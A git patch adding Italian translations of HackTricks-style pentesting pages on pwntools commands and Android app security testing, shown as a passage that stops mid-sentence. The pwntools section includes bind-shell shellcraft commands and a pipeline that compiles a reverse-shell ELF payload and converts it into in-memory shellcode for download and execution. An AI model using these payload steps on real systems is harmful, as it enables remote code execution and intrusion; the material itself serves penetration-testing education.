From b06d33987cfae034b0009f3b210c8047f775e315 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:12:10 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's --- src/SUMMARY.md | 1 + .../tools/pwntools.md | 109 ++-- .../android-app-pentesting/README.md | 539 +++++++++--------- .../in-memory-jni-shellcode-execution.md | 121 ++++ .../reversing-native-libraries.md | 95 +-- 5 files changed, 516 insertions(+), 349 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 90a5bc783..ff4daeffa 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -11,16 +11,16 @@ Ottieni **opcodes** da una riga o da un file. pwn asm "jmp esp" pwn asm -i ``` -**Può selezionare:** +**Puoi selezionare:** - tipo di output (raw,hex,string,elf) - contesto del file di output (16,32,64,linux,windows...) -- evitare byte (nuove righe, null, un elenco) -- selezionare l'encoder debug shellcode utilizzando gdb eseguire l'output +- evitare byte (new lines, null, a list) +- seleziona encoder, debug shellcode con gdb, esegui l'output -## **Controllo Pwn** +## **Pwn checksec** -Script checksec +Checksec script ``` pwn checksec ``` @@ -28,49 +28,49 @@ pwn checksec ## Pwn cyclic -Ottieni un modello +Ottieni un pattern ``` pwn cyclic 3000 pwn cyclic -l faad ``` -**Può selezionare:** +**È possibile selezionare:** -- L'alfabeto utilizzato (caratteri minuscoli per impostazione predefinita) -- Lunghezza del modello unico (impostazione predefinita 4) -- contesto (16,32,64,linux,windows...) -- Prendere l'offset (-l) +- L'alfabeto usato (caratteri minuscoli per impostazione predefinita) +- Lunghezza del uniq pattern (predefinito 4) +- context (16,32,64,linux,windows...) +- Calcola l'offset (-l) ## Pwn debug -Collegare GDB a un processo +Collega GDB a un processo ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` -**Può selezionare:** +**È possibile selezionare:** -- Per eseguibile, per nome o per contesto pid (16,32,64,linux,windows...) +- Per executable, per nome o per contesto pid (16,32,64,linux,windows...) - gdbscript da eseguire - sysrootpath -## Disabilita pwn nx +## Pwn disablenx -Disabilita nx di un binario +Disabilita nx di un binary ``` pwn disablenx ``` ## Pwn disasm -Disas opcode esadecimali +Disassembla opcode in hex ``` pwn disasm ffe4 ``` **Può selezionare:** -- contesto (16,32,64,linux,windows...) +- context (16,32,64,linux,windows...) - indirizzo base -- colore(predefinito)/nessun colore +- colore (predefinito)/no colore ## Pwn elfdiff @@ -90,11 +90,11 @@ Ottieni hexdump ``` pwn phd ``` -**Può selezionare:** +**Puoi selezionare:** - Numero di byte da mostrare -- Numero di byte per evidenziare il byte per riga -- Salta byte all'inizio +- Numero di byte per riga / byte da evidenziare +- Ignora byte all'inizio ## Pwn pwnstrip @@ -102,7 +102,7 @@ pwn phd ## Pwn shellcraft -Ottieni shellcode +Ottieni shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -110,39 +110,72 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` -**Può selezionare:** +**Puoi selezionare:** -- shellcode e argomenti per lo shellcode +- shellcode e argomenti per il shellcode - File di output - formato di output -- debug (collega dbg allo shellcode) -- prima (trap di debug prima del codice) +- debug (attach dbg al shellcode) +- prima (debug trap prima del codice) - dopo -- evita di usare opcodes (predefinito: non nullo e nuova riga) -- Esegui lo shellcode -- Colore/senza colore -- elenca le syscalls -- elenca i possibili shellcodes -- Genera ELF come libreria condivisa +- evitare l'uso di opcodes (default: not null and new line) +- Esegui il shellcode +- Colore/no colore +- Elenca syscalls +- Elenca possibili shellcodes +- Genera ELF come shared library -## Modello Pwn +## Pwn template -Ottieni un modello python +Ottieni un template Python ``` pwn template ``` -**Può selezionare:** host, port, user, pass, path e quiet +**È possibile selezionare:** host, port, user, pass, path and quiet ## Pwn unhex -Da esadecimale a stringa +Da hex a string ``` pwn unhex 686f6c61 ``` -## Aggiornamento di Pwn +## Aggiornamento Pwn Per aggiornare pwntools ``` pwn update ``` +## ELF → impacchettamento raw shellcode (loader_append) + +Pwntools può trasformare un ELF standalone in un singolo blob di raw shellcode che si mappa autonomamente i segmenti e trasferisce l'esecuzione all'entrypoint originale. Questo è ideale per memory-only loaders (es., Android apps che invocano JNI per eseguire byte scaricati). + +Pipeline tipica (esempio amd64) + +1) Costruire un payload ELF statico e position-independent (si consiglia musl per portabilità): +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +2) Convertire ELF → shellcode con pwntools: +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` +3) Consegnare sc a un memory loader (es., via HTTP[S]) ed eseguirlo in-process. + +Note +- loader_append incorpora il programma ELF originale nel shellcode ed emette un piccolo loader che mmaps i segmenti e salta all'entry. +- Sii esplicito riguardo l'architettura tramite context.clear(arch=...). arm64 è comune su Android. +- Mantieni il codice del tuo payload position‑independent ed evita assunzioni sull'ASLR/NX del processo. + +## Riferimenti + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index c0ab6ed9c..d5abd0a0d 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android Applications Pentesting +# Pentesting di Applicazioni Android {{#include ../../banners/hacktricks-training.md}} -## Fondamenti delle applicazioni Android +## Nozioni di base sulle Applicazioni Android -È altamente consigliato iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**: +Si raccomanda vivamente di iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\ -**ADB** permette di controllare i dispositivi sia via **USB** sia via **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni. +Questo è lo strumento principale necessario per connettersi a un dispositivo Android (emulato o fisico).\ +**ADB** permette di controllare i dispositivi sia via **USB** che via **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni. Dai un'occhiata alla seguente lista di [**ADB Commands**](adb-commands.md) per imparare come usare adb. ## Smali -A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (forse password ben offuscate o flags). In tal caso, può essere utile decompilare l'apk, modificare il codice e ricompilarlo.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Questo può essere molto utile come **alternativa per diversi test durante la dynamic analysis** che verranno presentati. Quindi, **tieni sempre presente questa possibilità**. +A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (per esempio password molto offuscate o flags). In tal caso, può essere utile decompilare l'apk, modificare il codice e ricompilarlo.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Questo può essere molto utile come **alternativa per diversi test durante l'analisi dinamica** che verranno presentati. Quindi, **tieni sempre presente questa possibilità**. -## Altri trucchi interessanti +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Extract APK from device: +- Estrai APK dal dispositivo: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Unisci tutti gli splits e i base apks con [APKEditor](https://github.com/REAndroid/APKEditor): +- Unisci tutti i splits e i base apks con [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Casi di studio e Vulnerabilità +## Case Studies & Vulnerabilities {{#ref}} @@ -61,39 +61,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Analisi statica +## Static Analysis -Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** usando un decompilatore.\ -Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disponibili**](apk-decompilers.md). +Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** usando un decompiler.\ +Please, [**read here to find information about different available decompilers**](apk-decompilers.md). -### Ricerca di informazioni interessanti +### Looking for interesting Info -Solo dando un'occhiata alle **strings** dell'APK puoi cercare **password**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche eventuali code execution **backdoors** o authentication backdoors (credenziali admin hardcoded nell'app). +Solo guardando le **strings** dell'APK puoi cercare **password**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche eventuali **backdoors** per code execution o backdoor di autenticazione (credenziali admin hardcoded nell'app). **Firebase** -Presta particolare attenzione alle **firebase URLs** e verifica se è male configurato. [Maggiori informazioni su cos'è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta particolare attenzione alle **firebase URLs** e verifica se sono configurate male. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Comprensione di base dell'applicazione - Manifest.xml, strings.xml +### Basic understanding of the application - Manifest.xml, strings.xml -L'**esame dei file _Manifest.xml_ e _strings.xml_ di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili tramite decompiler o rinominando l'estensione dell'APK in .zip e poi estraendolo. +L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessi usando decompiler o rinominando l'estensione del file APK in .zip e poi scompattandolo. -**Vulnerabilità** identificate dal **Manifest.xml** includono: +Le **Vulnerabilities** identificate dal **Manifest.xml** includono: -- **Debuggable Applications**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio in quanto consentono connessioni che possono portare allo sfruttamento. Per comprendere meglio come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo. -- **Backup Settings**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando usb debugging è abilitato. -- **Network Security**: Le configurazioni di network security personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pins e impostazioni del traffico HTTP. Un esempio è consentire traffico HTTP per domini specifici. -- **Exported Activities and Services**: Identificare le attività e i servizi esportati nel manifest può mettere in evidenza componenti che potrebbero essere abusati. Analisi ulteriori durante il testing dinamico possono rivelare come sfruttare questi componenti. -- **Content Providers and FileProviders**: Content provider esposti potrebbero consentire accesso non autorizzato o la modifica dei dati. Anche la configurazione dei FileProviders deve essere scrutinata. -- **Broadcast Receivers and URL Schemes**: Questi componenti potrebbero essere sfruttati per attacchi, con particolare attenzione a come gli URL schemes sono gestiti per vulnerabilità di input. -- **SDK Versions**: Gli attributi `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza. +- **Debuggable Applications**: Applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché permettono connessioni che possono portare a sfruttamenti. Per capire come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo. +- **Backup Settings**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando usb debugging è abilitato. +- **Network Security**: Le configurazioni di rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pins e impostazioni sul traffico HTTP. Un esempio è permettere traffico HTTP per domini specifici. +- **Exported Activities and Services**: Identificare activity e service esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Un'analisi più approfondita durante i test dinamici può rivelare come sfruttare questi componenti. +- **Content Providers and FileProviders**: Content provider esposti potrebbero permettere accesso o modifiche non autorizzate ai dati. La configurazione dei FileProviders deve essere anch'essa scrutata. +- **Broadcast Receivers and URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come gli URL schemes sono gestiti per eventuali vulnerabilità di input. +- **SDK Versions**: Gli attributi `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicano le versioni Android supportate, sottolineando l'importanza di non supportare versioni Android obsolete e vulnerabili per ragioni di sicurezza. -Dal file **strings.xml** si possono scoprire informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, sottolineando la necessità di una revisione accurata di queste risorse. +Dal file **strings.xml** si possono scoprire informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, evidenziando la necessità di una revisione accurata di queste risorse. ### Tapjacking -**Tapjacking** è un attacco in cui una **malicious** **application** viene lanciata e **si posiziona sopra un'applicazione vittima**. Quando oscura visibilmente l'app vittima, la sua interfaccia è progettata in modo da indurre l'utente a interagire con essa, mentre inoltra l'interazione all'app vittima.\ -Di fatto, sta **annebbiando la percezione dell'utente**, impedendogli di sapere che sta effettivamente eseguendo azioni sull'app vittima. +Tapjacking è un attacco in cui un'applicazione **malicious** viene lanciata e **si posiziona sopra un'app vittima**. Una volta che oscura visivamente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\ +Di fatto, sta **cecando l'utente impedendogli di sapere che sta effettivamente eseguendo azioni sull'app vittima**. Find more information in: @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -Un'**activity** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al Task Hijacking. Questo significa che un'**application** può essere installata e se avviata prima dell'app reale potrebbe **hijackare il task dell'app reale** (quindi l'utente interagirà con l'**malicious application** pensando di usare quella reale). +Un'**activity** con `launchMode` impostato a **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al Task Hijacking. Questo significa che un'**applicazione** può essere installata e, se lanciata prima dell'app reale, potrebbe **hijackare il task dell'app reale** (così l'utente interagirà con l'**app malevola pensando di usare quella reale**). More info in: @@ -113,101 +113,101 @@ More info in: android-task-hijacking.md {{#endref}} -### Archiviazione dati non sicura +### Insecure data storage **Internal Storage** -In Android, i file archiviati nello storage interno sono progettati per essere accessibili esclusivamente dall'app che li ha creati. Questa misura di sicurezza è applicata dal sistema operativo Android ed è generalmente adeguata per la maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Queste modalità **non limitano l'accesso** a tali file da parte di altre applicazioni, incluse potenzialmente applicazioni malevole. +In Android, i file **memorizzati** in **internal** storage sono **progettati** per essere accessibili esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** che i file siano **condivisi** tra applicazioni diverse. Queste modalità però **non limitano l'accesso** a questi file da parte di altre applicazioni, incluse quelle potenzialmente malevole. -1. **Analisi statica:** -- **Verificare** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **attentamente esaminato**. Queste modalità **possono potenzialmente esporre** i file ad accessi non intenzionati o non autorizzati. -2. **Analisi dinamica:** -- **Controllare** i permessi impostati sui file creati dall'app. In particolare, **verificare** se alcuni file sono impostati come leggibili o scrivibili da chiunque. Questo può rappresentare un rischio significativo per la sicurezza, poiché permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intenzione, di **leggere o modificare** tali file. +1. **Static Analysis:** +- **Verifica** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **accuratamente esaminato**. Queste modalità **possono esporre** i file ad **accessi non intenzionati o non autorizzati**. +2. **Dynamic Analysis:** +- **Controlla** i **permessi** impostati sui file creati dall'app. In particolare, **verifica** se qualche file è impostato come leggibile o scrivibile da tutti. Questo può rappresentare un rischio di sicurezza significativo, in quanto permetterebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intenzione, di **leggere o modificare** questi file. **External Storage** -Quando si tratta di file su storage esterno, come le SD Card, è bene prendere alcune precauzioni: +Quando si lavora con file su **external storage**, come le SD Card, si devono prendere alcune precauzioni: -1. **Accessibilità**: -- I file su external storage sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedervi. -2. **Problemi di sicurezza**: -- Considerata la facilità di accesso, è sconsigliato **memorizzare informazioni sensibili** su external storage. -- Lo storage esterno può essere rimosso o accessibile da qualsiasi applicazione, rendendolo meno sicuro. -3. **Gestione dei dati provenienti da External Storage**: -- Esegui sempre **validazione degli input** sui dati recuperati dallo storage esterno. Questo è fondamentale perché i dati provengono da una fonte non attendibile. -- È fortemente sconsigliato memorizzare eseguibili o class files su external storage per caricamento dinamico. -- Se la tua applicazione deve recuperare file eseguibili dallo storage esterno, assicurati che questi file siano **signed e verificati criptograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità di sicurezza dell'applicazione. +1. **Accessibility**: +- I file su external storage sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file. +2. **Security Concerns**: +- Data la facile accessibilità, è consigliato **non memorizzare informazioni sensibili** su external storage. +- L'external storage può essere rimosso o accessibile da qualsiasi applicazione, rendendolo meno sicuro. +3. **Handling Data from External Storage**: +- Esegui sempre la **validazione dell'input** sui dati recuperati dall'external storage. Questo è cruciale perché i dati provengono da una fonte non attendibile. +- Sconsigliato memorizzare eseguibili o class files su external storage per caricamento dinamico. +- Se la tua applicazione deve recuperare file eseguibili dall'external storage, assicurati che questi file siano **signed e verificati crittograficamente** prima del loro caricamento dinamico. Questo passaggio è vitale per mantenere l'integrità di sicurezza della tua applicazione. -External storage può essere **accessed** in /storage/emulated/0 , /sdcard , /mnt/sdcard +External storage può essere **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. +> A partire da Android 4.4 (**API 17**), la SD card ha una struttura di directory che **limita l'accesso da parte di un'app alla directory specifica per quell'app**. Questo previene che applicazioni malevole ottengano accesso in lettura o scrittura ai file di un'altra app. **Sensitive data stored in clear-text** -- **Shared preferences**: Android permette a ogni applicazione di salvare facilmente file xml nel percorso `/data/data//shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella. -- **Databases**: Android permette a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data//databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella. +- **Shared preferences**: Android permette a ogni applicazione di salvare facilmente file xml nel percorso `/data/data//shared_prefs/` e a volte è possibile trovare informazioni sensibili in clear-text in quella cartella. +- **Databases**: Android permette a ogni applicazione di salvare facilmente database sqlite nel percorso `/data/data//databases/` e a volte è possibile trovare informazioni sensibili in clear-text in quella cartella. ### Broken TLS **Accept All Certificates** -Per qualche motivo a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, l'hostname non corrisponde, con righe di codice come la seguente: +Per qualche motivo a volte gli sviluppatori accettano tutti i certificate anche se, per esempio, l'hostname non corrisponde, con righe di codice come la seguente: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA sul dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo. +Un buon modo per testare questo è provare a catturare il traffico usando un proxy come Burp senza autorizzare la Burp CA all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname differente e usarlo. -### Criptografia debole +### Crittografia debole **Processi di gestione delle chiavi inadeguati** -Alcuni sviluppatori salvano dati sensibili nello storage locale e li cifrano con una chiave hardcoded/prevedibile nel codice. Questo non dovrebbe essere fatto poiché del reversing potrebbe permettere agli attaccanti di estrarre le informazioni riservate. +Alcuni sviluppatori salvano dati sensibili nell'archiviazione locale e li criptano con una chiave hardcoded/predictable nel codice. Questo non dovrebbe essere fatto, poiché un reversing potrebbe permettere agli attaccanti di estrarre le informazioni confidenziali. **Uso di algoritmi insicuri e/o deprecati** -Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per effettuare controlli di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono usati **hash** per memorizzare password ad esempio, dovrebbero essere usati hash resistenti al brute-force con salt. +Gli sviluppatori non dovrebbero usare **algoritmi deprecati** per effettuare controlli di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono usati **hashes** per memorizzare password, per esempio, dovrebbero essere usati hash resistenti al brute-force con salt. ### Altri controlli -- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineer agli attaccanti. -- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per verificare se il dispositivo è rootato** e agire di conseguenza. -- Se l'app è sensibile (come le app bancarie), dovrebbe verificare se viene usato un **emulatore**. -- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata. -- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compiler/packer/obfuscator è stato usato per buildare l'APK +- Si raccomanda di **offuscare l'APK** per rendere più difficile il lavoro di reverse engineer agli attaccanti. +- Se l'app è sensibile (come le bank apps), dovrebbe eseguire i propri **controlli per verificare se il mobile è rooted** e agire di conseguenza. +- Se l'app è sensibile (come le bank apps), dovrebbe verificare se è in uso un **emulator**. +- Se l'app è sensibile (come le bank apps), dovrebbe **verificare la propria integrità prima di eseguirla** per controllare se è stata modificata. +- Usa [**APKiD**](https://github.com/rednaga/APKiD) per verificare quale compiler/packer/obfuscator è stato usato per buildare l'APK -### Applicazione React Native +### React Native Application -Leggi la pagina seguente per imparare come accedere facilmente al codice JavaScript delle applicazioni React: +Leggi la pagina seguente per imparare come accedere facilmente al codice javascript delle applicazioni React: {{#ref}} react-native-application.md {{#endref}} -### Applicazioni Xamarin +### Xamarin Applications -Leggi la pagina seguente per imparare come accedere facilmente al codice C# di un'applicazione xamarin: +Leggi la pagina seguente per imparare come accedere facilmente al codice C# di applicazioni xamarin: {{#ref}} ../xamarin-apps.md {{#endref}} -### Applicazioni Superpacked +### Superpacked Applications -Secondo questo [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un singolo file. Il blog parla della possibilità di creare un'app che decomprima questo tipo di app... e di un modo più veloce che implica di **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** +Secondo questo [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un singolo file. Il blog parla della possibilità di creare un'app che decomprima questo tipo di app... e di un modo più veloce che consiste nell'**eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** -### Analisi statica automatizzata del codice +### Automated Static Code Analysis -Lo strumento [**mariana-trench**](https://github.com/facebook/mariana-trench) è in grado di trovare **vulnerabilità** eseguendo la **scansione** del **codice** dell'applicazione. Questo strumento contiene una serie di **known sources** (che indicano allo strumento i **punti** dove l'**input** è **controllato dall'utente**), **sinks** (che indicano allo strumento i **punti** **pericolosi** dove l'input maligno dell'utente potrebbe causare danni) e **regole**. Queste regole indicano la **combinazione** di **sources-sinks** che segnala una vulnerabilità. +Lo strumento [**mariana-trench**](https://github.com/facebook/mariana-trench) è in grado di trovare **vulnerabilità** scansionando il **codice** dell'applicazione. Questo strumento contiene una serie di **known sources** (che indicano allo strumento i **punti** in cui l'**input** è **controllato dall'utente**), **sinks** (che indicano allo strumento i **punti** **pericolosi** dove un input malizioso potrebbe causare danni) e **regole**. Queste regole indicano la **combinazione** di **sources-sinks** che segnala una vulnerabilità. -Con questa conoscenza, **mariana-trench esaminerà il codice e troverà possibili vulnerabilità al suo interno**. +Con questa conoscenza, **mariana-trench esaminerà il codice e troverà possibili vulnerabilità**. -### Secrets leaked +### Segreti leaked -Un'applicazione può contenere secrets (API keys, password, hidden urls, subdomains...) al suo interno che potresti essere in grado di scoprire. Puoi usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Un'applicazione può contenere segreti (API keys, passwords, hidden urls, subdomains...) al suo interno che potresti essere in grado di scoprire. Puoi usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -222,8 +222,13 @@ bypass-biometric-authentication-android.md - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` - **Native functions** dichiarate come `native`: `public native, System.loadLibrary, System.load` - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): -### **Altri trucchi** +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +### **Other tricks** {{#ref}} @@ -234,25 +239,25 @@ content-protocol.md --- -## Dynamic Analysis +## Analisi dinamica -> Prima di tutto, hai bisogno di un ambiente dove poter installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer e Frida principalmente). Pertanto, è fortemente raccomandato un dispositivo rootato (emulato o meno). +> Prima di tutto, hai bisogno di un ambiente dove poter installare l'applicazione e tutto l'ambiente (Burp CA cert, Drozer e Frida principalmente). Pertanto, un dispositivo rooted (emulato o meno) è altamente raccomandato. -### Online Dynamic analysis +### Analisi dinamica online -Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io). Questa piattaforma ti permette di **caricare** ed **eseguire** APK, quindi è utile per vedere come si comporta un apk. +Puoi creare un **account gratuito** su: [https://appetize.io/](https://appetize.io). Questa piattaforma ti permette di **upload** e **execute** APK, quindi è utile per vedere come 